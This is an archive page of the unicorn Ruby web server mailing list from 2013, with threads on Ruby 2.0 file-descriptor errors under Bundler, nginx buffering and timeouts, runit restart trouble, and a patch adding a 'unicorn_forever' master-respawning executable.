* Re: Ruby 2.0 Bad file descriptor (Errno::EBADF)
@ 2013-09-04 19:29 9% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2013-09-04 19:29 UTC (permalink / raw)
To: unicorn list
Eric Chapweske <eac@zendesk.com> wrote:
> We ran into the same issue. For us, it was because we were executing the
> process using bundle exec. Bundler doesn't preserve the 1.9 behavior around
> FD inheritance. https://github.com/bundler/bundler/issues/2628
Thanks Eric! I just pushed out the following and updated the website.
Subject: [PATCH] Sandbox: document SIGUSR2 + bundler issue with 2.0.0
Thanks to Eric Chapweske for the heads up.
ref: http://mid.gmane.org/loom.20130904T205308-432@post.gmane.org
---
Sandbox | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/Sandbox b/Sandbox
index 1df149b..3c7f226 100644
--- a/Sandbox
+++ b/Sandbox
@@ -60,6 +60,13 @@ If you're using an older Bundler version (0.9.x), you may need to set or
reset GEM_HOME, GEM_PATH and PATH environment variables in the
before_exec hook as illustrated by http://gist.github.com/534668
+=== Ruby 2.0.0 close-on-exec and SIGUSR2 incompatibility
+
+Ruby 2.0.0 enforces FD_CLOEXEC on file descriptors by default. unicorn
+has been prepared for this behavior since unicorn 4.1.0, but we forgot
+to remind the Bundler developers. This issue is being tracked here:
+https://github.com/bundler/bundler/issues/2628
+
== Isolate
=== Running
--
Eric Wong
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply related [relevance 9%]
* Re: A barrage of unexplained timeouts
@ 2013-08-22 17:05 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2013-08-22 17:05 UTC (permalink / raw)
To: unicorn list
nick@auger.net wrote:
> "Eric Wong" <normalperson@yhbt.net> said:
> > Jimmy Soho <jimmy.soho@gmail.com> wrote:
> >> Is a response send back by rails / unicorn fully buffered by nginx? Or
> >> is a unicorn worker blocked until the response is confirmed to have
> >> been successfully received by the client?
> >
> > nginx fully buffers both requests and responses by default.
> > Which leads us to...
> >
> >> Aside: how do you protect your unicorn workers against a barrage of
> >> client requests that eat the response veeeeeery sloooooooowly?
> >
> > That's the whole point of using nginx with unicorn. nginx shields
> > unicorn from slow clients.
> Is it possible that the behavior could be related to nginx? Nginx
> hanging onto the connection too long from the worker, so that the
> worker never makes it back into the pool and eventually get's killed
> for not checking in?
Unlikely. That'd be a serious bug in nginx since nginx was originally
designed to do this buffering since the earliest versions. Which
version of nginx are you running? Can you be sure "proxy_buffering off"
is _not_ set anywhere?
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 3%]
* [PATCH] unicorn_forever: new executable to respawn masters
@ 2013-07-24 3:11 5% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2013-07-24 3:11 UTC (permalink / raw)
To: mongrel-unicorn
Comments/reports of success/failure appreciated.
(Bcc-ing the user who contacted me privately about daemontools :)
--------------------------------8<------------------------------
From: Eric Wong <normalperson@yhbt.net>
Subject: [PATCH] unicorn_forever: new executable to respawn masters
Warning: lightly tested (and not under daemontools/systemd/etc)
This may be useful for daemontools and similar init replacements
which behave badly when the master process is replaced during the
normal SIGUSR2 && SIGQUIT routine.
Usage:
unicorn_forever EXISTING UNICORN COMMAND-LINE
Example:
unicorn_forever unicorn -c /path/to/unicorn_config.rb config.ru
It can also be used to keep Rainbows! processes alive as long as
you check for "Rainbows!" constant references in your config file.
unicorn_forever rainbows -c /path/to/rainbows_config.rb config.ru
Supported signals:
SIGKILL - really kill the unicorn_forever process (unblockable)
SIGSTOP - pause the process, this prevent unicorn_forever from detecting
or respawning a dead master
SIGTSTP - same as SIGSTOP
SIGCONT - resumes a process stopped by SIGCONT
Those signals above were really implicit to everything, the following
two should be familiar to existing unicorn users.
SIGHUP - reloads the config (just like regular unicorn).
This does not touch the existing master process, but allows
future masters to be spawned with a different set of listen
sockets.
SIGUSR1 - reopens existing log files, this signal is forwarded to the
regular unicorn master (and thus any workers it has)
All other normal unicorn signals are logged and otherwise ignored.
They are not forwarded to the unicorn master.
To upgrade a unicorn application, just send SIGQUIT (not SIGUSR2) to the
existing master and unicorn_forever will automatically respawn.
There is no way to gracefully upgrade unicorn_forever without losing
connections. Doing graceful upgrades of unicorn_forever would defeat
the purpose and cause parents (e.g. daemontools) to notice a child
death.
unicorn_forever is probably unnecessary for systemd. The use of cgroups
with systemd prevents daemons from "escaping" the control of systemd, so
a daemonized unicorn probably remains visible to systemd.
Implementation:
unicorn_forever is stripped down version of unicorn (and the
Unicorn::HttpServer class) which contains enough to:
* parse the config file for listeners (and general validation)
* bind listen sockets
* issue chdir for the working_directory
* set the UNICORN_FD environment variable
* exec the real process (unicorn/rainbows/whatever...)
It does not load nor validate the application.
---
bin/unicorn_forever | 126 +++++++++++++++++++++
lib/unicorn/forever.rb | 289 +++++++++++++++++++++++++++++++++++++++++++++++++
2 files changed, 415 insertions(+)
create mode 100755 bin/unicorn_forever
create mode 100644 lib/unicorn/forever.rb
diff --git a/bin/unicorn_forever b/bin/unicorn_forever
new file mode 100755
index 0000000..bef3a5f
--- /dev/null
+++ b/bin/unicorn_forever
@@ -0,0 +1,126 @@
+#!/this/will/be/overwritten/or/wrapped/anyways/do/not/worry/ruby
+# -*- encoding: binary -*-
+require 'unicorn'
+require 'unicorn/forever'
+require 'optparse'
+
+rackup_opts = Unicorn::Configurator::RACKUP
+options = rackup_opts[:options]
+
+op = OptionParser.new("", 24, ' ') do |opts|
+ cmd = File.basename($0)
+ opts.banner = "Usage: #{cmd} " \
+ "[ruby options] [#{cmd} options] [rackup config file]"
+ opts.separator "Ruby options:"
+
+ lineno = 1
+ opts.on("-e", "--eval LINE", "evaluate a LINE of code") do |line|
+ eval line, TOPLEVEL_BINDING, "-e", lineno
+ lineno += 1
+ end
+
+ opts.on("-d", "--debug", "set debugging flags (set $DEBUG to true)") do
+ $DEBUG = true
+ end
+
+ opts.on("-w", "--warn", "turn warnings on for your script") do
+ $-w = true
+ end
+
+ opts.on("-I", "--include PATH",
+ "specify $LOAD_PATH (may be used more than once)") do |path|
+ $LOAD_PATH.unshift(*path.split(/:/))
+ end
+
+ opts.on("-r", "--require LIBRARY",
+ "require the library, before executing your script") do |library|
+ require library
+ end
+
+ opts.separator "#{cmd} options:"
+
+ # some of these switches exist for rackup command-line compatibility,
+
+ opts.on("-o", "--host HOST",
+ "listen on HOST (default: #{Unicorn::Const::DEFAULT_HOST})") do |h|
+ rackup_opts[:host] = h
+ rackup_opts[:set_listener] = true
+ end
+
+ opts.on("-p", "--port PORT",
+ "use PORT (default: #{Unicorn::Const::DEFAULT_PORT})") do |p|
+ rackup_opts[:port] = p.to_i
+ rackup_opts[:set_listener] = true
+ end
+
+ opts.on("-E", "--env RACK_ENV",
+ "use RACK_ENV for defaults (default: development)") do |e|
+ ENV["RACK_ENV"] = e
+ end
+
+ opts.on("-N", "--no-default-middleware",
+ "do not load middleware implied by RACK_ENV") do |e|
+ rackup_opts[:no_default_middleware] = true
+ end
+
+ opts.on("-D", "--daemonize", "run daemonized in the background") do |d|
+ rackup_opts[:daemonize] = !!d
+ end
+
+ opts.on("-P", "--pid FILE", "DEPRECATED") do |f|
+ warn %q{Use of --pid/-P is strongly discouraged}
+ warn %q{Use the 'pid' directive in the Unicorn config file instead}
+ options[:pid] = f
+ end
+
+ opts.on("-s", "--server SERVER",
+ "this flag only exists for compatibility") do |s|
+ warn "-s/--server only exists for compatibility with rackup"
+ end
+
+ # Unicorn-specific stuff
+ opts.on("-l", "--listen {HOST:PORT|PATH}",
+ "listen on HOST:PORT or PATH",
+ "this may be specified multiple times",
+ "(default: #{Unicorn::Const::DEFAULT_LISTEN})") do |address|
+ options[:listeners] << address
+ end
+
+ opts.on("-c", "--config-file FILE", "Unicorn-specific config file") do |f|
+ options[:config_file] = f
+ end
+
+ # I'm avoiding Unicorn-specific config options on the command-line.
+ # IMNSHO, config options on the command-line are redundant given
+ # config files and make things unnecessarily complicated with multiple
+ # places to look for a config option.
+
+ opts.separator "Common options:"
+
+ opts.on_tail("-h", "--help", "Show this message") do
+ puts opts.to_s.gsub(/^.*DEPRECATED.*$/s, '')
+ exit
+ end
+
+ opts.on_tail("-v", "--version", "Show version") do
+ puts "#{cmd} v#{Unicorn::Const::UNICORN_VERSION}"
+ exit
+ end
+
+ opts.parse! ARGV
+end
+
+# ARGV[0] is usually "unicorn", but "unicorn_rails" or custom
+# BYOE wrappers work, too
+ru = ARGV[1] || 'config.ru'
+Unicorn::Configurator::RACKUP.merge!(:file => ru, :optparse => op)
+op = nil
+
+if $DEBUG
+ require 'pp'
+ pp({
+ :unicorn_options => options,
+ :daemonize => rackup_opts[:daemonize],
+ })
+end
+Unicorn::Forever.new(options).start.join
diff --git a/lib/unicorn/forever.rb b/lib/unicorn/forever.rb
new file mode 100644
index 0000000..3f6c5fe
--- /dev/null
+++ b/lib/unicorn/forever.rb
@@ -0,0 +1,289 @@
+# -*- encoding: binary -*-
+#
+# Normally the unicorn master process can handle all the restarting,
+# however with init replacements becoming process managers, we may want
+# to use something which never dies and restarts the master.
+class Unicorn::Forever
+ # :stopdoc:
+ include Unicorn::SocketHelper
+
+ attr_accessor :listener_opts, :init_listeners, :config, :logger
+
+ START_CTX = {
+ :argv => ARGV.map { |arg| arg.dup },
+ }
+
+ # We favor ENV['PWD'] since it is (usually) symlink aware for Capistrano
+ # and like systems
+ START_CTX[:cwd] = begin
+ a = File.stat(pwd = ENV['PWD'])
+ b = File.stat(Dir.pwd)
+ a.ino == b.ino && a.dev == b.dev ? pwd : Dir.pwd
+ rescue
+ Dir.pwd
+ end
+
+ def initialize(options = {})
+ @listeners = []
+ @self_pipe = []
+ @new_listeners = []
+ @init_listeners = options[:listeners] ? options[:listeners].dup : []
+ options[:use_defaults] = true
+ @config = Unicorn::Configurator.new(options)
+ @listener_opts = {}
+ @config.commit!(self, :skip => [:listeners])
+ @respawn = true
+ @self_pipe = Kgio::Pipe.new
+ @self_pipe.each { |io| io.fcntl(Fcntl::F_SETFD, Fcntl::FD_CLOEXEC) }
+ # signal queue used for self-piping
+ @sig_queue = []
+ end
+
+ def setup_sighandlers
+ %w(CHLD HUP QUIT TERM INT USR1 USR2 TTIN TTOU WINCH).each do |s|
+ trap(s) { sig_handler(s.to_sym) }
+ end
+ end
+
+ # Runs the thing. Returns self so you can run join on it
+ def start
+ # no inheriting, just start the default if needed
+ config_listeners = @config[:listeners].dup
+ if config_listeners.empty?
+ config_listeners << Unicorn::Const::DEFAULT_LISTEN
+ @init_listeners << Unicorn::Const::DEFAULT_LISTEN
+ START_CTX[:argv] << "-l#{Unicorn::Const::DEFAULT_LISTEN}"
+ end
+ @new_listeners.replace(config_listeners)
+
+ bind_new_listeners!
+ setup_sighandlers
+ do_exec
+ self
+ end
+
+ # replaces current listener set with +listeners+. This will
+ # close the socket if it will not exist in the new listener set
+ def listeners=(listeners)
+ cur_names, dead_names = [], []
+ listener_names.each do |name|
+ if ?/ == name[0]
+ # mark unlinked sockets as dead so we can rebind them
+ (File.socket?(name) ? cur_names : dead_names) << name
+ else
+ cur_names << name
+ end
+ end
+ set_names = listener_names(listeners)
+ dead_names.concat(cur_names - set_names).uniq!
+
+ @listeners.delete_if do |io|
+ if dead_names.include?(sock_name(io))
+ IO_PURGATORY.delete_if do |pio|
+ pio.fileno == io.fileno && (pio.close rescue nil).nil? # true
+ end
+ (io.close rescue nil).nil? # true
+ else
+ set_server_sockopt(io, listener_opts[sock_name(io)])
+ false
+ end
+ end
+
+ (set_names - cur_names).each { |addr| listen(addr) }
+ end
+
+ def stdout_path=(path); redirect_io($stdout, path); end
+ def stderr_path=(path); redirect_io($stderr, path); end
+
+ # for Configurator compatibility:
+ def noop(arg = nil); end
+ alias client_body_buffer_size= noop
+ alias client_body_buffer_size noop
+ alias check_client_connection= noop
+ alias check_client_connection noop
+ alias pid= noop
+ alias pid noop
+ alias preload_app= noop
+ alias preload_app noop
+ alias timeout= noop
+ alias timeout noop
+ alias trust_x_forwarded= noop
+ alias trust_x_forwarded noop
+ alias rewindable_input= noop
+ alias rewindable_input noop
+ alias worker_processes= noop
+ alias worker_processes noop
+ alias after_fork= noop
+ alias after_fork noop
+ alias before_fork= noop
+ alias before_fork noop
+ alias before_exec= noop
+ alias before_exec noop
+
+ # add a given address to the +listeners+ set, idempotently
+ # Allows workers to add a private, per-process listener via the
+ # after_fork hook. Very useful for debugging and testing.
+ # +:tries+ may be specified as an option for the number of times
+ # to retry, and +:delay+ may be specified as the time in seconds
+ # to delay between retries.
+ # A negative value for +:tries+ indicates the listen will be
+ # retried indefinitely, this is useful when workers belonging to
+ # different masters are spawned during a transparent upgrade.
+ def listen(address, opt = {}.merge(listener_opts[address] || {}))
+ address = config.expand_addr(address)
+ return if String === address && listener_names.include?(address)
+
+ delay = opt[:delay] || 0.5
+ tries = opt[:tries] || 5
+ begin
+ io = bind_listen(address, opt)
+ unless Kgio::TCPServer === io || Kgio::UNIXServer === io
+ IO_PURGATORY << io
+ io = server_cast(io)
+ end
+ @logger.info "listening on addr=#{sock_name(io)} fd=#{io.fileno}"
+ @listeners << io
+ io
+ rescue Errno::EADDRINUSE => err
+ @logger.error "adding listener failed addr=#{address} (in use)"
+ raise err if tries == 0
+ tries -= 1
+ @logger.error "retrying in #{delay} seconds " \
+ "(#{tries < 0 ? 'infinite' : tries} tries left)"
+ sleep(delay)
+ retry
+ rescue => err
+ @logger.fatal "error adding listener addr=#{address}"
+ raise err
+ end
+ end
+
+ # reaps all unreaped processes
+ def reap_all
+ begin
+ pid, status = Process.waitpid2(-1, Process::WNOHANG)
+ pid or return
+ @logger.error "reaped #{status.inspect}"
+ @exec_pid = nil if pid == @exec_pid
+ rescue Errno::ECHILD
+ break
+ end while true
+ end
+
+ # Monitors child and receives signals forever (or until SIGKILL is sent).
+ # This handles signals one-at-a-time time.
+ # Send SIGSTOP to this process to prevent it from respawning
+ def join
+ begin
+ IO.select([@self_pipe[0]])
+ @self_pipe[0].kgio_tryread(11)
+ reap_all
+ sig = @sig_queue.shift
+
+ case sig
+ when nil # spurious wakeup
+ when :USR1 # rotate logs
+ @logger.info "unicorn-forever reopening logs..."
+ Unicorn::Util.reopen_logs
+ @logger.info "unicorn-forever done reopening logs"
+
+ # this is the only signal we always forward
+ Process.kill(sig, @exec_pid) if @exec_pid
+ when :HUP
+ # we only implement SIGHUP because we need to be aware of new
+ # sockets from updated configs
+ if @config.config_file
+ load_config!
+ else # exec binary and exit if there's no config file
+ @logger.info "SIGHUP received but config file not defined"
+ end
+ else
+ @logger.info "unhandled signal: SIG#{sig} received"
+ zero = START_CTX[:argv][0]
+ if @exec_pid
+ @logger.info("did you mean to signal `#{zero}' at PID:#@exec_pid?")
+ else
+ @logger.info("`#{zero}' not running")
+ end
+ end
+ unless @exec_pid
+ do_exec
+
+ # throttle, in case the master keeps dying, we don't want to burn
+ # cycles and fill up logs by constant respawning
+ sleep 1
+ end
+ rescue => e
+ Unicorn.log_error(@logger, "forever loop error", e)
+ end while true
+ # We don't go down easily, use SIGKILL
+ end
+
+ def sig_handler(s)
+ @sig_queue << s
+ @self_pipe[1].kgio_trywrite('^') # wakeup ourselves from IO.select
+ end
+
+ def do_exec
+ @exec_pid = fork do # This will become the unicorn master process
+ # Don't let actions on any TTY -forever may have influence us
+ Process.setsid
+
+ listener_fds = Hash[@listeners.map do |sock|
+ # IO#close_on_exec= will be available on any future version of
+ # Ruby that sets FD_CLOEXEC by default on new file descriptors
+ # ref: http://redmine.ruby-lang.org/issues/5041
+ sock.close_on_exec = false if sock.respond_to?(:close_on_exec=)
+ [ sock.fileno, sock ]
+ end]
+ ENV['UNICORN_FD'] = listener_fds.keys.join(',')
+ Dir.chdir(START_CTX[:cwd])
+ cmd = START_CTX[:argv]
+
+ # avoid leaking FDs we don't know about, but let before_exec
+ # unset FD_CLOEXEC, if anything else in the app eventually
+ # relies on FD inheritence.
+ (3..1024).each do |io|
+ next if listener_fds.include?(io)
+ io = IO.for_fd(io) rescue next
+ IO_PURGATORY << io
+ io.fcntl(Fcntl::F_SETFD, Fcntl::FD_CLOEXEC)
+ end
+
+ # exec(command, hash) works in at least 1.9.1+, but will only be
+ # required in 1.9.4/2.0.0 at earliest.
+ cmd << listener_fds if RUBY_VERSION >= "1.9.1"
+ @logger.info "executing #{cmd.inspect} (in #{Dir.pwd})"
+ exec(*cmd)
+ end
+ end
+
+ def load_config!
+ @logger.info "reloading config_file=#{@config.config_file}"
+ @config[:listeners].replace(@init_listeners)
+ @config.reload
+ @config.commit!(self)
+ Unicorn::Util.reopen_logs
+ @logger.info "done reloading config_file=#{@config.config_file}"
+ rescue StandardError, LoadError, SyntaxError => e
+ Unicorn.log_error(@logger,
+ "error reloading config_file=#{@config.config_file}", e)
+ end
+
+ # returns an array of string names for the given listener array
+ def listener_names(listeners = @listeners)
+ listeners.map { |io| sock_name(io) }
+ end
+
+ def redirect_io(io, path)
+ File.open(path, 'ab') { |fp| io.reopen(fp) } if path
+ io.sync = true
+ end
+
+ # This binds any listeners we did NOT inherit from the parent
+ def bind_new_listeners!
+ @new_listeners.each { |addr| listen(addr) }
+ raise ArgumentError, "no listeners" if @listeners.empty?
+ @new_listeners.clear
+ end
+end
--
Eric Wong
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply related [relevance 5%]
* Re: Unicorn freezes, requests got stuck in the queue most likely
2013-05-28 17:20 3% ` Eric Wong
@ 2013-05-28 18:13 0% ` Alexander Dymo
0 siblings, 0 replies; 200+ results
From: Alexander Dymo @ 2013-05-28 18:13 UTC (permalink / raw)
To: unicorn list
> How are you determining requests get stuck for up to 7 seconds?
By measuring time between nginx gets the request and worker starts processing it.
> How is the system (CPU/RAM/swap usage) around this time?
No load at all. 14G free ram, no swap usage.
> Are you using Raindrops::LastDataRecv or Raindrops::Watcher?
> (If not and you're on Linux, please give them a try[1]).
Not yet. I'll take a look.
> Anything in the stderr logs? Dying/restarted workers might cause this.
We are logging worker restarts, so no, no restarts/dying workers.
> I certainly have not. Did you perform any other upgrades around this point?
Yes, we upgraded other ruby gems as well.
> Can you try reverting to 4.3.1 (or earlier, and not changing anything else)
> and see if the problem presents itself there?
Thanks, will do.
> Also, which OS/version is this?
Debian 6.0
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
* Re: Unicorn freezes, requests got stuck in the queue most likely
@ 2013-05-28 17:20 3% ` Eric Wong
2013-05-28 18:13 0% ` Alexander Dymo
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2013-05-28 17:20 UTC (permalink / raw)
To: unicorn list; +Cc: Gleb Arshinov
Alexander Dymo <adymo@pluron.com> wrote:
> In short:
> - we have two groups of workers:
> - one serving long-running requests that take more than 10 sec, listening to a '/tmp/long_requests_unicorn.sock' socket
> - another serving normal requests, listening to '/tmp/unicorn.sock' socket
> - nginx determines which request goes to which sockets.
>
> This worked perfectly for 2 years. Looks like after we upgraded to
> unicorn 4.4, the normal requests started to get stuck in the queue.
> That happens randomly, several times per day. When that happens,
> requests wait for up to 7 seconds to be served. At that time most or
> all of the workers are available and not doing anything. Unicorn
> restart fixes the problem.
How are you determining requests get stuck for up to 7 seconds?
Just hitting the app?
How is the system (CPU/RAM/swap usage) around this time?
Are you using Raindrops::LastDataRecv or Raindrops::Watcher?
(If not and you're on Linux, please give them a try[1]).
Anything in the stderr logs? Dying/restarted workers might cause
this. Otherwise, I'd look for unexpected long-running requests
in your Rails logs.
> Has anyone seen something freezes like that? I'd appreciate any help
> with debugging and understanding this problem.
I certainly have not. Did you perform any other upgrades around this
point?
Can you try reverting to 4.3.1 (or earlier, and not changing anything else)
and see if the problem presents itself there?
Also, which OS/version is this?
[1] http://raindrops.bogomips.org/
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 3%]
* Unicorn + RUnit Rails Not Killing Old Master
@ 2013-05-20 16:46 2% Graham Christensen
0 siblings, 0 replies; 200+ results
From: Graham Christensen @ 2013-05-20 16:46 UTC (permalink / raw)
To: mongrel-unicorn
Hi,
I'm deploying Unicorn on a Rails application with RUnit. Technically
I'm using Chef's deployment tools, if any of you are familiar with it
(https://github.com/opscode-cookbooks/application_ruby) but to be clear
they aren't doing anything magical, so this is purely an issue with
RUnit and Unicorn.
The TL;DR of the following post, which has lots of pastes (linking to
pastebins for easier reading:) when I run /etc/init.d/myzippykid
restart, the old unicorn master fails to die, causing the new master to
be stuck in a loop waiting to own port 8080. The new master never takes
over, as the old master never dies. When I manually kill the master,
the new one takes over just fine.
What am I missing in my restart process to make the old master exit?
--
More details:
When I deploy a new version of software, the unicorn master fails to
restart. Here is an example of my ps auxfg output after I run
`/etc/init.d/myzippykid restart` (which is symlinked to /usr/bin/sv):
https://gist.github.com/grahamc/35715c1a2c9717e461e3
When I run `killall unicorn`, the ruby script under runsvdir gets
replaced with the unicorn worker. This is because the ruby script is
attempting to bind to port 8080, which is already taken up by the
unicorn master process. As soon as the old master is out of the way,
its capable of binding.
Here is my unicorn configuration at /etc/unicorn/myzippykid.rb:
https://gist.github.com/grahamc/08aaed97c9b39cf68f01
Here is my /etc/sv/myzippykid/run script which is how runit runs my
unicorn daemon: https://gist.github.com/grahamc/7ca7e3942d19f60d339a
my bundle_wrapper.sh simply inits the environment with the proper ruby
and path: https://gist.github.com/grahamc/9760001e0e20c915d9e9
--
The contents of all my pastes for those of you without internet at time
of reading:
https://gist.github.com/grahamc/35715c1a2c9717e461e3:
runsvdir -P /etc/service log:
.............................................................................................................................................
\_ runsv myzippykid
\_ svlogd -tt ./main
\_ /bin/bash /opt/myzippykid/bundle_wrapper.sh exec unicorn -E
staging -c /etc/unicorn/myzippykid.rb
\_ ruby
/opt/myzippykid/deployment/releases/6328251212178494a6c82b11ec518dc4d1962f9c/vendor/bundle/ruby/2.0.0/bin/unicorn
-E staging -c /etc/unicorn/myzippykid.rb
unicorn master -E staging -c /etc/unicorn/myzippykid.rb
\_ unicorn worker[0] -E staging -c /etc/unicorn/myzippykid.rb
https://gist.github.com/grahamc/08aaed97c9b39cf68f01:
# What ports/sockets to listen on, and what options for them.
listen "8080", :tcp_nodelay => true, :backlog => 100
working_directory '/opt/myzippykid/deployment/current'
# What the timeout for killing busy workers is, in seconds
timeout 60
# Whether the app should be pre-loaded
preload_app false
# How many worker processes
worker_processes 1
# What to do before we fork a worker
before_fork do |server, worker|
sleep 1
end
https://gist.github.com/grahamc/7ca7e3942d19f60d339a:
#!/bin/bash
cd /opt/myzippykid/deployment/current
exec 2>&1
exec /usr/bin/chpst \
-u myzippykid:myzippykid \
/opt/myzippykid/bundle_wrapper.sh exec \
unicorn \
-E staging \
-c /etc/unicorn/myzippykid.rb
https://gist.github.com/grahamc/9760001e0e20c915d9e9:
#!/bin/bash
source /etc/profile.d/rbenv.sh
bundle $@
Thank you for your help,
-- Graham Christensen
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 2%]
* Re: Unicorn behaving irrationally in production after a day
@ 2013-05-10 14:19 0% ` Daniel Condomitti
0 siblings, 0 replies; 200+ results
From: Daniel Condomitti @ 2013-05-10 14:19 UTC (permalink / raw)
To: unicorn list
Are you disconnecting from/reconnecting to your database and any cache
stores in the before and after_fork hooks? Sharing the socket across
workers can potentially cause issues like this.
On May 10, 2013, at 6:00 AM, Bogdan Dumitru <dumbogdan@gmail.com> wrote:
> Hey guys,
>
> I'm new to Unicorn and have been running into a weird issue. I'm currently running a EC2 cluster with each machine having nginx with 4 unicorn workers. I'm deploying using rubber (https://github.com/rubber/rubber), and the unicorn.rb config is basically the GitHub unicorn config (as detailed here: https://github.com/blog/517-unicorn).
> Everything works fine when I deploy, but after half a day - 1 day the server behaves irrationally. The server is an api server for a mobile application so I can easily see some variables that, on request, have a certain value, but if I do some checking with the rails console (on the production machine) I get a different value (the correct one). This seams to me like a weird object caching situation. It all gets solved if I restart unicorn.
> I'm not sure what config information you guys might be interested in so I won't bloat this mail with anything but let me know if there's any questions I can answer.
>
> I hope somebody can point me in the right direction because I can't really make heads or tails of it.
> Cheers,
> -b
>
> PS: I've read about something similar happening when using memcached for object caching, in a previous version, but that isn't the case here.
>
> _______________________________________________
> Unicorn mailing list - mongrel-unicorn@rubyforge.org
> http://rubyforge.org/mailman/listinfo/mongrel-unicorn
> Do not quote signatures (like this one) or top post when replying
_______________________________________________
Unicorn mailing list - mongrel-unicorn@rubyforge.org
http://rubyforge.org/mailman/listinfo/mongrel-unicorn
Do not quote signatures (like this one) or top post when replying
^ permalink raw reply [relevance 0%]
Results 1-200 of ~500 next (older) | reverse | options above
-- pct% links below jump to the message on this page, permalinks otherwise --
2011-05-05 19:48 3% kgio 2.4.0 coming soon Eric Wong
2013-05-10 13:00 Unicorn behaving irrationally in production after a day Bogdan Dumitru
2013-05-10 14:19 0% ` Daniel Condomitti
2013-05-20 16:46 2% Unicorn + RUnit Rails Not Killing Old Master Graham Christensen
2013-05-28 11:17 Unicorn freezes, requests got stuck in the queue most likely Alexander Dymo
2013-05-28 17:20 3% ` Eric Wong
2013-05-28 18:13 0% ` Alexander Dymo
2013-07-24 3:11 5% [PATCH] unicorn_forever: new executable to respawn masters Eric Wong
2013-08-20 18:11 A barrage of unexplained timeouts nick
2013-08-20 18:49 ` Eric Wong
2013-08-20 20:03 ` nick
2013-08-20 20:42 ` Eric Wong
2013-08-20 21:19 ` nick
2013-08-20 21:32 ` Eric Wong
2013-08-21 13:33 ` nick
2013-08-22 2:32 ` Jimmy Soho
2013-08-22 4:09 ` Eric Wong
2013-08-22 13:10 ` nick
2013-08-22 17:05 3% ` Eric Wong
2013-08-23 1:34 Ruby 2.0 Bad file descriptor (Errno::EBADF) Port Himmerland
2013-08-23 2:04 ` Eric Wong
2013-08-23 6:21 ` port
2013-08-23 6:47 ` Eric Wong
2013-09-04 19:00 ` Eric Chapweske
2013-09-04 19:29 9% ` Eric Wong
2013-10-23 8:35 2% Confused about restart/upgrade w. bundler and symlinks Carlos Peñas
2013-10-23 16:02 0% ` Eric Wong
2013-10-23 17:18 0% ` Daniel Condomitti
2013-10-26 7:58 9% [PATCH] license: allow all future versions of the GNU GPL Eric Wong
2013-11-01 14:12 5% [PATCH] construct listener_fds Hash in 1.8 compatible way Ernest W. Durbin III
2013-11-01 16:50 ` Eric Wong
2013-11-01 17:04 4% ` Ernest W. Durbin III
2013-11-01 18:54 0% ` Eric Wong
2013-11-01 19:00 0% ` Ernest W. Durbin III
2013-11-01 17:46 0% ` Hleb Valoshka
2013-11-01 18:32 0% ` Ernest W. Durbin III
2013-11-01 18:49 5% ` Eric Wong
2013-11-04 7:57 3% [ANN] unicorn 4.7.0 - minor updates, license tweak Eric Wong
2013-11-04 18:04 2% Unicorn 4.7.0 tests fail on OSX 10.7.5 and debian squeeze Andrew Hobson
2013-11-05 14:46 Handling closed clients Andrew Hobson
2013-11-05 17:20 ` Eric Wong
[not found] ` <m2iow6k7nk.fsf@macdaddy.atl.damballa>
2013-11-05 20:51 0% ` Eric Wong
2013-11-25 6:01 4% permissions on ChangeLog and NEWS Ken Dreyer
2013-11-25 6:52 0% ` Eric Wong
[not found] <20140129225250.10947.71973@sandbox56423.mailgun.org>
2014-01-29 22:54 0% ` [PATCH] construct listener_fds Hash in 1.8 compatible way Ernest W. Durbin III
2014-02-24 12:33 Stucks DB connections Ilya Bazylchuk
2014-02-24 18:25 3% ` Eric Wong
2014-04-26 3:20 1% [PATCH] tests: switch to minitest Ken Dreyer
2014-04-26 6:07 0% ` Eric Wong
2014-05-25 3:52 3% unicorn 5 roadmap Eric Wong
2014-05-29 20:19 2% [PUSHED] http: remove xftrust options Eric Wong
2014-07-22 15:17 2% `hash' called on unexpected T_NODE object Philip Cunningham
2014-07-22 16:39 3% ` Eric Wong
2014-07-22 16:53 0% ` Jonathan del Strother
2014-07-22 18:51 3% High number of TCP retransmits on Solaris Paul Henry
2014-07-22 18:52 3% Paul Henry
2014-07-22 20:56 2% ` Eric Wong
2014-07-22 21:56 0% ` Paul Henry
2014-08-02 7:51 Please move to github Gary Grossman
2014-08-02 8:50 ` Eric Wong
2014-08-02 19:07 ` Gary Grossman
2014-08-02 20:15 3% ` Eric Wong
2014-08-17 2:33 more house-cleaning for unicorn 5 Eric Wong
2014-08-17 2:33 3% ` [PATCH 2/3] unicorn.gemspec: depend on test-unit 3.0 Eric Wong
2014-09-22 1:05 [PATCH 0/4] a few more minor cleanups pushed out Eric Wong
2014-09-22 1:05 18% ` [PATCH 1/4] remove RubyForge and Freecode references Eric Wong
2014-09-27 8:32 3% dropping Ruby 1.8 support for unicorn 5? Eric Wong
2014-09-27 8:37 0% ` Ernest W. Durbin III
2014-10-06 15:04 Unicorn not working in GitLab 7.3 Onno van der Straaten
2014-10-06 15:07 3% ` Onno van der Straaten
2014-10-07 5:08 0% ` Eric Wong
2014-10-24 17:33 Having issue with Unicorn Imdad
2014-10-24 17:45 ` Eric Wong
2014-10-24 18:02 3% ` Imdad
